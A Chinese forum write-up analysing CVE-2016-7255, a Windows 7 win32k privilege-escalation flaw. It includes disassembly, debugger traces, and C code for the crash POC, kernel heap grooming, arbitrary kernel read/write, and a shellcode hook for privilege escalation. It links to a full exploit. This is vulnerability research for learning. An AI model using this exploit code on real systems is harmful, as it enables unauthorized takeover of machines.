CVE-2016-7255提权漏洞学习笔记

资讯 作者:看雪学院 2023-02-22 18:27:45 阅读:154


本文为看雪论坛优秀文章

看雪论坛作者ID:1900





前言


1.漏洞描述


该漏洞存在于win32k中的xxxNextWindow函数中,该函数没有对tagWND对象的spmenu成员的合法性进行验证,就直接将其作为合法地址进行读写,导致了BSOD的产生。通过将spmenu设置为特定的值,可以让tagWND对象获得越界写入的能力,从而修改其他tagWND的strName->Buffer的值,实现任意地址写入,最终实现提权。


2.实验环境


  • 操作系统:Win 7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg





漏洞分析


1.漏洞成因


xxxNextWindow函数的第一个参数指向tagQ结构体,该结构体定义如下:

kd> dt win32k!tagQ   +0x000 mlInput          : tagMLIST   +0x00c ptiSysLock       : Ptr32 tagTHREADINFO   +0x010 idSysLock        : Uint4B   +0x014 idSysPeek        : Uint4B   +0x018 ptiMouse         : Ptr32 tagTHREADINFO   +0x01c ptiKeyboard      : Ptr32 tagTHREADINFO   +0x020 spwndCapture     : Ptr32 tagWND   +0x024 spwndFocus       : Ptr32 tagWND   +0x028 spwndActive      : Ptr32 tagWND   +0x02c spwndActivePrev  : Ptr32 tagWND   +0x030 codeCapture      : Uint4B   +0x034 msgDblClk        : Uint4B   +0x038 xbtnDblClk       : Uint2B   +0x03c timeDblClk       : Uint4B   +0x040 hwndDblClk       : Ptr32 HWND__   +0x044 ptDblClk         : tagPOINT   +0x04c ptMouseMove      : tagPOINT   +0x054 afKeyRecentDown  : [32] UChar   +0x074 afKeyState       : [64] UChar   +0x0b4 caret            : tagCARET   +0x0ec spcurCurrent     : Ptr32 tagCURSOR   +0x0f0 iCursorLevel     : Int4B   +0x0f4 QF_flags         : Uint4B   +0x0f8 cThreads         : Uint2B   +0x0fa cLockCount       : Uint2B   +0x0fc msgJournal       : Uint4B   +0x100 ExtraInfo        : Int4B   +0x104 ulEtwReserved1   : Uint4B


tagQ结构体中有许多成员指向tagWND结构体,该结构体定义如下:

kd> dt win32k!tagWND   +0x000 head             : _THRDESKHEAD   +0x014 state            : Uint4B   +0x018 state2           : Uint4B   +0x01c ExStyle          : Uint4B   +0x020 style            : Uint4B   +0x024 hModule          : Ptr32 Void   +0x028 hMod16           : Uint2B   +0x02a fnid             : Uint2B   +0x02c spwndNext        : Ptr32 tagWND   +0x030 spwndPrev        : Ptr32 tagWND   +0x034 spwndParent      : Ptr32 tagWND   +0x038 spwndChild       : Ptr32 tagWND   +0x03c spwndOwner       : Ptr32 tagWND   +0x040 rcWindow         : tagRECT   +0x050 rcClient         : tagRECT   +0x060 lpfnWndProc      : Ptr32     long    +0x064 pcls             : Ptr32 tagCLS   +0x068 hrgnUpdate       : Ptr32 HRGN__   +0x06c ppropList        : Ptr32 tagPROPLIST   +0x070 pSBInfo          : Ptr32 tagSBINFO   +0x074 spmenuSys        : Ptr32 tagMENU   +0x078 spmenu           : Ptr32 tagMENU   +0x07c hrgnClip         : Ptr32 HRGN__   +0x080 hrgnNewFrame     : Ptr32 HRGN__   +0x084 strName          : _LARGE_UNICODE_STRING   +0x090 cbwndExtra       : Int4B   +0x094 spwndLastActive  : Ptr32 tagWND   +0x098 hImc             : Ptr32 HIMC__   +0x09c dwUserData       : Uint4B   +0x0a0 pActCtx          : Ptr32 _ACTIVATION_CONTEXT   +0x0a4 pTransform       : Ptr32 _D3DMATRIX   +0x0a8 spwndClipboardListenerNext : Ptr32 tagWND   +0x0ac ExStyle2         : Uint4B


xxxNextWindow会从tagQ中取出偏移0x28的spwndActive作为参数调用GetNextQueueWindow,spwndActive代表当前活跃的窗口,函数GetNextQueueWindow会将spwndActive偏移0x38保存的子窗口spwndChild返回:

.text:BF9684C5                 mov     edi, [ebx+28h]  ; 将spwndActive赋值给edi.text:BF968533                 push    1.text:BF968535                 push    [ebp+hDC].text:BF968538                 push    edi.text:BF968539                 call    __GetNextQueueWindow@12 .text:BF96853E                 mov     ebx, eax        ; 将spwndChild赋给ebx


验证GetNextQueueWindow返回的tagWND偏移0x78处保存的spmenu成员是否为0,如果不为0,将对spmenu偏移0x14处指向的地址进行或运算:

.text:BF96859C                 xor     ecx, ecx     .text:BF96859E                 cmp     [ebx+78h], ecx  ; 判断spmenu是否为0.text:BF9685A1                 jz      short loc_BF9685AA.text:BF9685A3                 mov     eax, [ebx+78h]         ; 将spmenu赋给eax.text:BF9685A6                 or      dword ptr [eax+14h], 4 ; 将flags与4进行或运算


spmenu是一个tagMENU对象,该对象部分成员如下,所以上面的代码其实是想对tagMENU的flags成员进行或运算。

kd> dt win32k!tagMENU   +0x000 head             : _PROCDESKHEAD   +0x014 fFlags           : Uint4B   +0x018 iItem            : Int4B


在进行或运算之前,函数只是验证了tagWND->spmenu是否为0,却没有验证tagWND->spmenu所指的内存是否有效,而spmenu可以通过函数SetWindowLong修改,该函数定义如下:

LONG SetWindowLong(HWND hWnd,int nIndex, LONG dwNewLong);


SetWindowLong函数会调用内核的xxxSetWindowLong函数实现功能,在xxxSetWindowLong函数中会判断nIndex是否小于0:

.text:BF8B40E0                 mov     edx, [ebp+nIndex] ; nIndex赋值edx.text:BF8B40EB                 push    0.text:BF8B40ED                 pop     ecx             ; ecx请0.text:BF8B4134                 cmp     edx, ecx        ; edx是否小于0,小于则跳转.text:BF8B4136                 jl      short loc_BF8B419E


如果nIndex小于0,则会调用xxxSetWindowData函数:

.text:BF8B419E loc_BF8B419E:                           ; CODE XREF: xxxSetWindowLong(x,x,x,x,x)+4F↑j.text:BF8B419E                                         ; xxxSetWindowLong(x,x,x,x,x)+80↑j.text:BF8B419E                 push    [ebp+arg_C].text:BF8B41A1                 push    [ebp+dwNewLong].text:BF8B41A4                 push    edx.text:BF8B41A5                 push    esi.text:BF8B41A6                 call    _xxxSetWindowData@16 ; xxxSetWindowData(x,x,x,x).text:BF8B41AB                 jmp     loc_BF8B4234


xxxSetWindowData函数会判断nIndex是否等于-12:

.text:BF8BB79E                 mov     eax, [ebp+nIndex].text:BF8BB7C2                 cmp     eax, 0FFFFFFF4h.text:BF8BB7C5                 jz      loc_BF8BBA1C


如果nIndex为-12,继续判断tagWND->style的最高位是否为0x40,如果是,则将dwNewLong赋值给窗口的spmenu:

.text:BF8BBA1C loc_BF8BBA1C:                           .text:BF8BBA1C                 mov     edi, [ebp+tagWND].text:BF8BBA1F                 mov     al, [edi+23h].text:BF8BBA22                 and     al, 0C0h.text:BF8BBA24                 cmp     al, 40h.text:BF8BBA26                 jnz     short loc_BF8BBA33.text:BF8BBA28                 mov     eax, [ebp+dwNewLong].text:BF8BBA2B                 mov     ebx, [edi+78h].text:BF8BBA2E                 mov     [edi+78h], eax  ; 将dwNewLong赋值给tagWND->spmenu.text:BF8BBA31                 jmp     short loc_BF8BBA88


根据以下定义可以知道,当对带有WS_CHILD标记的窗口调用SetWindowLong的时候,如果第二个参数传入GWL_ID,第三个参数的值就会写入到窗口的spmenu中:

#define WS_CHILD            0x40000000L#define GWL_ID              (-12)


因此,用户可以修改窗口的spmenu,如果将它修改为一个非法的地址,再调用xxxNextWindow函数,就会因为对一个非法地址进行或运算导致BSOD的产生。


对上述内容的总结如下:

漏洞函数xxxNextWindow的执行流程是:1) 获取当前活跃窗口;2) 从当前活跃窗口中获取子窗口;3) 对子窗口的spmenu成员0x14所指的内存地址进行或运算。
想要在用户层修改窗口的spmenu成员,要满足的条件:1) 被修改的窗口具有WS_CHILD标记. 2) 调用SetWindowLong的时候第二个参数指定为GWL_ID。


2.漏洞触发


xxxNextWindow函数需要通过发送Alt + Esc的按键信息来调用,因此漏洞触发的步骤如下:

① 获取桌面窗口句柄作为父窗口。
② 创建一个用来触发漏洞的攻击窗口,该窗口的父窗口需要指定为桌面窗口。
③ 设置攻击窗口带有WS_CHILD标记,通过SetWindowLong修改攻击窗口的spmenu,将其指向非法内存地址。
④ 将桌面窗口置于最顶层,即将其变成活跃窗口。
⑤ 模拟Alt + Esc按键调用xxxNextWindow函数。


相应的POC代码如下:

BOOL POC_CVE_2016_7255(){    BOOL bRet = TRUE;    HWND hwnd = NULL, hDesktop = NULL;    WNDCLASSEX wc = { 0 };    char *pClassName = "POC";
// 获取父窗口 hDesktop = GetDesktopWindow(); if (!hDesktop) { bRet = FALSE; ShowError("GetDesktopWindow", GetLastError()); goto exit; }
memset(&wc, 0, sizeof(wc)); wc.cbSize = sizeof(wc); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pClassName;
if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
// 创建触发漏洞的窗口 hwnd = CreateWindowEx(NULL, pClassName, NULL, WS_VISIBLE, 0, 0, 100, 100, hDesktop, // 指定父窗口为桌面窗口 0, GetModuleHandle(NULL), 0); if (!hwnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
// 设置子窗口带WS_CHILD标记 // 这样GetNonChildAncesstor就会返回其父窗口,即hDesktop SetWindowLong(hwnd, GWL_STYLE, (WS_VISIBLE | WS_CHILD));
// 设置子窗口的spwnd SetWindowLong(hwnd, GWL_ID, 0x1900);
// 将桌面窗口,也就是父窗口置于最前面 // 模拟Alt + Esc按键触发漏洞 SwitchToThisWindow(hDesktop, TRUE); keybd_event(VK_MENU, 0, 0, 0); keybd_event(VK_ESCAPE, 0, 0, 0);
exit: return bRet;}


在xxxNextWindow函数验证spmenu是否为0处下断点,编译运行POC,可以看到此时的spmenu已经被修改为指定的值:

kd> ba e1 win32k!xxxNextWindow + 0x3D0kd> gBreakpoint 0 hitwin32k!xxxNextWindow+0x3cf:96eb859e 394b78          cmp     dword ptr [ebx+78h],ecxkd> r ebxebx=fea14d48kd> dt tagWND fea14d48win32k!tagWND   +0x078 spmenu           : 0x00001900 tagMENU


由于是非0的,所以函数会继续向下执行,将spmenu的值取出,并对其+0x14的内存地址进行或操作,但是该地址是非法地址,所以会触发BSOD错误:

win32k!xxxNextWindow+0x3d2:96eb85a1 7407            je      win32k!xxxNextWindow+0x3db (96eb85aa)kd> pwin32k!xxxNextWindow+0x3d4:96eb85a3 8b4378          mov     eax,dword ptr [ebx+78h]kd> pwin32k!xxxNextWindow+0x3d7:96eb85a6 83481404        or      dword ptr [eax+14h],4kd> r eaxeax=00001900kd> dd eax00001900  ???????? ???????? ???????? ????????00001910  ???????? ???????? ???????? ????????00001920  ???????? ???????? ???????? ????????00001930  ???????? ???????? ???????? ????????00001940  ???????? ???????? ???????? ????????00001950  ???????? ???????? ???????? ????????00001960  ???????? ???????? ???????? ????????00001970  ???????? ???????? ???????? ????????kd> gAccess violation - code c0000005 (!!! second chance !!!)win32k!xxxNextWindow+0x3d7:96eb85a6 83481404        or      dword ptr [eax+14h],4





漏洞利用


1.利用思路


利用该漏洞可以实现对指定的内存地址与4进行或运算,因此可以将spmenu赋值为tagWND偏移0x93,这样就可以扩大tagWND偏移0x90的cbwndExtra。之所以扩大这个地址,是因为在xxxSetWindowLong中,当nIndex大于0的时候,函数会判断nIndex + 4是否小于等于cbwndExtra,如果大于,就会设置错误码再退出函数:

.text:BF8B4185                 lea     eax, [edx+4]    ; eax=nIndex+4.text:BF8B4188                 cmp     eax, [esi+90h]  ; eax小于等于cbwndExtra则跳转.text:BF8B418E                 jbe     short loc_BF8B41B0.text:BF8B4190                 push    585h.text:BF8B4195                 jmp     loc_BF8B421D            ....text:BF8B421D loc_BF8B421D:                           .text:BF8B421D                                         .text:BF8B421D                 call    _UserSetLastError@4.text:BF8B4222                 xor     eax, eax.text:BF8B4224                 jmp     short loc_BF8B4234


如果nIndex + 4小于等于cbwndExtra,函数会对将dwNewLong的值写入到tagWND窗口之后的nIndex处的地址。这里的esi指向tagWND的首地址,0xB0是tagWND的大小,edx则是nIndex:

.text:BF8B4226                 lea     ecx, [esi+edx+0B0h]   .text:BF8B422D                 mov     edx, [ebp+dwNewLong].text:BF8B4230                 mov     eax, [ecx].text:BF8B4232                 mov     [ecx], edx


如果利用该漏洞将cbwndExtra扩大了,此时就可以直接通过SetWindowLong来实现越界写入操作。如果可以在可写的范围内在布置一个tagWND结构体,这样就可以通过SetWindowLong函数修改新布置的tagWND结构体中的成员来实现任意地址读写。


2.扩大cbwndExtra


由于要获取tagWND的cbwndExtra地址来对其进行扩大,所以要首先获取窗口对象的tagWND地址。tagWND的获取可以通过HMValidateHandle函数实现,该函数定义如下:

typedef void* (__fastcall *lHMValidateHandle)(HWND h, int type);



当第二个参数type指定为TYPE_WINDOW(0x1)的时候,函数会返回第一个参数指定的窗口句柄的THREADESKEAD结构体,该结构体定义如下,其中pSelf成员保存了tagWND对象在内核中的地址。

typedef struct _HEAD{    HANDLE h;    DWORD clockObj;}HEAD, *PHEAD;
typedef struct _THROBJHEAD{ HEAD h; PVOID pti;}THROBJHEAD, *PTHROBJHEAD;
typedef struct _THRDESKHEAD{ THROBJHEAD h; PVOID rpdesk; PVOID pSelf;}THRDESKHEAD, *PTHRDESKHEAD;


有了HMValidateHandle函数就可以获取需要的窗口的tagWND在内核中的地址,但是该函数是未导出的函数,需要通过user32.dll中的导出函数IsMenu来获取,因为IsMenu函数有对HMValidateHandle的调用:

这里可以将0xE8作为特征码找到HMValidateHandle的相对地址,根据相对地址得出实际的函数地址,相应的代码如下:

PVOID GetHMValidateHandle(){    PVOID pFuncAddr = NULL;    HMODULE hUser32 = NULL;    PBYTE pIsMenu = NULL;    DWORD i = 0, dwFuncOffset = 0;
hUser32 = LoadLibraryA("user32.dll"); if (!hUser32) { ShowError("LoadLibraryA", GetLastError()); goto exit; }
pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"); if (!pIsMenu) { ShowError("GetProcAddress", GetLastError()); goto exit; }
for (i = 0; i < PAGE_SIZE; i++) { if (pIsMenu[i] == 0xE8) { dwFuncOffset = *(PDWORD)(pIsMenu + i + 1); pFuncAddr = (PVOID)(dwFuncOffset + pIsMenu + i + 5); break; } }
exit: return pFuncAddr;}


通过HMValidateHandle可以获取cbwndExtra,在调用SetWindowLong修改spmenu的时候,可以将写入值指定为cbwndExtra  + 3  - 0x14的地址,这样就可以利用或操作扩大cbwndExtra,相应代码如下:

BOOL Trigger_CVE_2016_7255(HWND *hWndList){    BOOL bRet = TRUE;    HWND hTriggerWnd = NULL, hDesktop = NULL;    WNDCLASSEX wc = { 0 };    char *pClassName = "Trigger";    DWORD i = 0;
// 获取父窗口 hDesktop = GetDesktopWindow(); if (!hDesktop) { bRet = FALSE; ShowError("GetDesktopWindow", GetLastError()); goto exit; }
memset(&wc, 0, sizeof(wc)); wc.cbSize = sizeof(wc); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pClassName;
if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
// 创建触发漏洞的窗口 hTriggerWnd = CreateWindowEx(NULL, pClassName, NULL, WS_VISIBLE, 0, 0, 100, 100, hDesktop, // 指定父窗口为桌面窗口 0, GetModuleHandle(NULL), 0); if (!hTriggerWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
DWORD dwTriggerAddr = 0; lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
dwTriggerAddr = (DWORD)pTriggerHead->pSelf;
// 设置子窗口带WS_CHILD标记 // 这样GetNonChildAncesstor就会返回其父窗口,即hDesktop SetWindowLong(hTriggerWnd, GWL_STYLE, (WS_VISIBLE | WS_CHILD));
CONST DWORD dwCbExOffset = 0x90; DWORD dwValue = 0;
dwValue = dwTriggerAddr + dwCbExOffset + 3 - 0x14; // 设置子窗口的spwnd为cbwndExtra + 3的位置 SetWindowLong(hTriggerWnd, GWL_ID, dwValue);
// 将桌面窗口,也就是父窗口置于最前面 // 模拟Alt + Esc按键触发漏洞 SwitchToThisWindow(hDesktop, TRUE); keybd_event(VK_MENU, 0, 0, 0); keybd_event(VK_ESCAPE, 0, 0, 0);
exit: if (hTriggerWnd) { if (!DestroyWindow(hTriggerWnd)) { bRet = FALSE; } } return bRet;}


此时在xxxNextWindow对spmenu是否为0处下断点,查看此时的tagWND地址为0xFEA1C200,那么cbwndExtra的地址就是0xFEA1C290:

kd> gBreakpoint 0 hitwin32k!xxxNextWindow+0x3cf:969e859e 394b78          cmp     dword ptr [ebx+78h],ecxkd> r ebxebx=fea1c200


spmenu为0xFEA1C27F,等于0xFEA1C200 + 0x90 + 0x3 - 0x14,成功指向cbwndExtra + 0x3处的地址,此时的cbwndExtra为0。

继续向下运行,会对tagWND中成员cbwndExtra + 0x3地址处的内容对4进行或运算:

kd> pwin32k!xxxNextWindow+0x3d2:969e85a1 7407            je      win32k!xxxNextWindow+0x3db (969e85aa)kd> pwin32k!xxxNextWindow+0x3d4:969e85a3 8b4378          mov     eax,dword ptr [ebx+78h]kd> pwin32k!xxxNextWindow+0x3d7:969e85a6 83481404        or      dword ptr [eax+14h],4kd> pwin32k!xxxNextWindow+0x3db:969e85aa 8b4308          mov     eax,dword ptr [ebx+8]


可以看到此时成功将cbwndExtra值扩大到0x04000000:

kd> dd 0xFEA1C290fea1c290  04000000 fea1c200 000701d5 00000000fea1c2a0  00000000 00000000 00000000 00000058fea1c2b0  00010004 08000017 00000002 00000002fea1c2c0  013663a0 0000a918 ffa83308 0001c033fea1c2d0  00010017 08000004 000a01c0 00000003fea1c2e0  ffa72dd8 877cd140 fea1c2d8 60040408fea1c2f0  80000700 20080900 14c00000 00400000fea1c300  00000000 fea1c128 fea1c488 fea00618


3.内存布局


现在可以利用漏洞实现扩大cbwndExtra成员的方式来实现越界写入,需要在被扩大的tagWND对象的可写入的范围内布置另一个tagWND结构体作为用来修改的窗口对象,通过对该对象成员的修改实现任意地址读写,所以此时需要首先创建一部分窗口,在释放掉其中的一部分,这样触发漏洞的时候创建的窗口之后就会存在另一个tagWND对象,相应代码如下:

BOOL Init_CVE_2016_7255(HWND *hWndList){    BOOL bRet = TRUE;    CONST DWORD dwFakeNum = 100;    WNDCLASSEX wc = { 0 };    char *pFakeName = "Fake";    DWORD i = 0;
memset(&wc, 0, sizeof(wc)); wc.cbSize = sizeof(wc); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pFakeName;
if (!RegisterClassEx(&wc)) { ShowError("RegisterClassEx", GetLastError()); bRet = FALSE; goto exit; }
// 创建用来攻击的窗口 for (i = 0; i < dwFakeNum; i++) { hWndList[i] = CreateWindowEx(NULL, pFakeName, "Hack", WS_VISIBLE, 0, 0, 100, 100, NULL, 0, GetModuleHandle(NULL), 0); if (!hWndList[i]) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } }
// 释放其中的一部分用来保存触发漏洞时候创建的窗口 for (i = 20; i < 80; i += 2) { if (!DestroyWindow(hWndList[i])) { ShowError("DestroyWindow", GetLastError()); bRet = FALSE; goto exit; } hWndList[i] = NULL; }
exit: return bRet;}


此时,在触发漏洞的时候,加入以下代码用来查找位于被扩大cbwndExtra的tagWND对象高地址中最近的一个tagWND对象用来作为攻击窗口此时,就可以利用越界写入修改攻击窗口对象tagWND中的成员。

DWORD dwTriggerAddr = 0, dwAttackAddr = 0;lHMValidateHandle HMValidateHandle =  (lHMValidateHandle)GetHMValidateHandle();
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
dwTriggerAddr = (DWORD)pTriggerHead->pSelf;// 寻找用来攻击的tagWNDfor (i = 0; i < 100; i++){ if (hWndList[i]) { PTHRDESKHEAD pFakeHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);
dwAttackAddr = (DWORD)pFakeHead->pSelf; if (dwAttackAddr > dwTriggerAddr && dwAttackAddr - dwTriggerAddr < 0x3FD000) { hAttackWnd = hWndList[i]; break; } }}
if (!hAttackWnd){ printf("Do not find Attack tagWND\n"); bRet = FALSE; goto exit;}


4.任意地址读写


任意地址的读取要用到GetAncestor函数,该函数的定义如下:

HWND GetAncestor(HWND hwnd, UINT gaFlags);


该函数会调用内核中的NtUserGetAncestor,NtUserGetAncestor函数将_GetAncestor函数返回值指向的地址中的值作为返回值:

参数gaFlags为1的时候,_GetAncestor函数会返回tagWND中偏移0x34的spwndParent:

所以,在用户层调用GetAncestor函数的时候,如果第二个参数指定为GA_PANT,函数就会将第一个参数对应的tagWND对象的spwndParant所指的内存地址中的数据返回。

#define     GA_PARENT       1


因为可以利用越界写入操作将tagWND偏移0x34的spwndParent修改为任意地址,所以,可以通过调用GetAncestor就可以实现任意地址的读取。


对于任意地址写入,需要用到tagWND对象偏移0x84处的strName成员:

kd> dt win32k!tagWND   +0x084 strName          : _LARGE_UNICODE_STRING


该成员用来是一个_LARGE_UNICODE_STRING结构体,结构体定义如下:

2: kd> dt win32k!_LARGE_UNICODE_STRING   +0x000 Length           : Uint4B   +0x004 MaximumLength    : Bitfield Pos 0, 31 Bits   +0x004 bAnsi            : Bitfield Pos 31, 1 Bit   +0x008 Buffer           : Ptr32 to Uint2B


在用户层调用如下定义的SetWindowTextW函数的时候,函数会将参数lpString中的数据写入到tagWND->strName的Buffer保存的地址中。同理,因为此时可以利用越界写入操作将Buffer修改为任意地址,所以,可以通过SetWindowTextW实现任意地址写入。

WINUSERAPIBOOLWINAPISetWindowTextW(    __in HWND hWnd,    __in_opt LPCWSTR lpString);


有了任意地址的读写能力,现在就可以轻松地通过修改NtQuerySystemInformation函数来实现提权操作,相应代码如下:

BOOL EnablePrivilege_CVE_2016_7255(HWND hTriggerWnd, HWND hAttackWnd, DWORD dwOffset){    BOOL bRet = TRUE;
PVOID pTargetAddr = NULL; // 获取目标函数地址 pTargetAddr = GetHalQuerySystemInformation();
if (!pTargetAddr) { bRet = FALSE; goto exit; }
DWORD dwOrg = 0, dwOrgPar = 0; DWORD dwParentOffset = dwOffset + 0x34;
// 获取原tagWND->spwndParent dwOrgPar = GetWindowLong(hTriggerWnd, dwParentOffset);
// 设置tagWND->spwndParent为目标函数地址 SetWindowLong(hTriggerWnd, dwParentOffset, (ULONG)pTargetAddr);
// 获取目标函数地址中的原来的内容 dwOrg = (DWORD)GetAncestor(hAttackWnd, GA_PARENT);
// 恢复tagWND->spwndParent SetWindowLong(hTriggerWnd, dwParentOffset, dwOrgPar);
DWORD dwBufOffset = dwOffset + 0x84 + 0x8;
// 修改tagWND->StrName->Buffer为目标函数地址 SetWindowLong(hTriggerWnd, dwBufOffset, (ULONG)pTargetAddr);
// 设置目标函数地址为ShellCode地址 WCHAR wBuf[3] = { 0 };
*(PDWORD)wBuf = (DWORD)ShellCode_CVE_2016_7255; if (!SetWindowTextW(hAttackWnd, wBuf)) { ShowError("SetWindowText", GetLastError()); bRet = FALSE; goto exit; }
// 调用函数实现提权 if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; }
// 恢复目标函数地址 *(PDWORD)wBuf = dwOrg; if (!SetWindowTextW(hAttackWnd, wBuf)) { ShowError("SetWindowText", GetLastError()); bRet = FALSE; goto exit; }
exit: return bRet;}





运行结果


完整代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2016-7255.cpp。编译运行exp就可以成功实现提权操作:


参考资料

https://blog.csdn.net/qq_41252520/article/details/119698465

https://bbs.pediy.com/thread-272761.htm

https://www.anquanke.com/post/id/85232





看雪ID:1900

https://bbs.kanxue.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区


# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们



球分享

球点赞

球在看


点击“阅读原文”,了解更多!

在线申请SSL证书行业最低 =>立即申请

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注KnowSafe微信公众号
随时掌握互联网精彩
赞助链接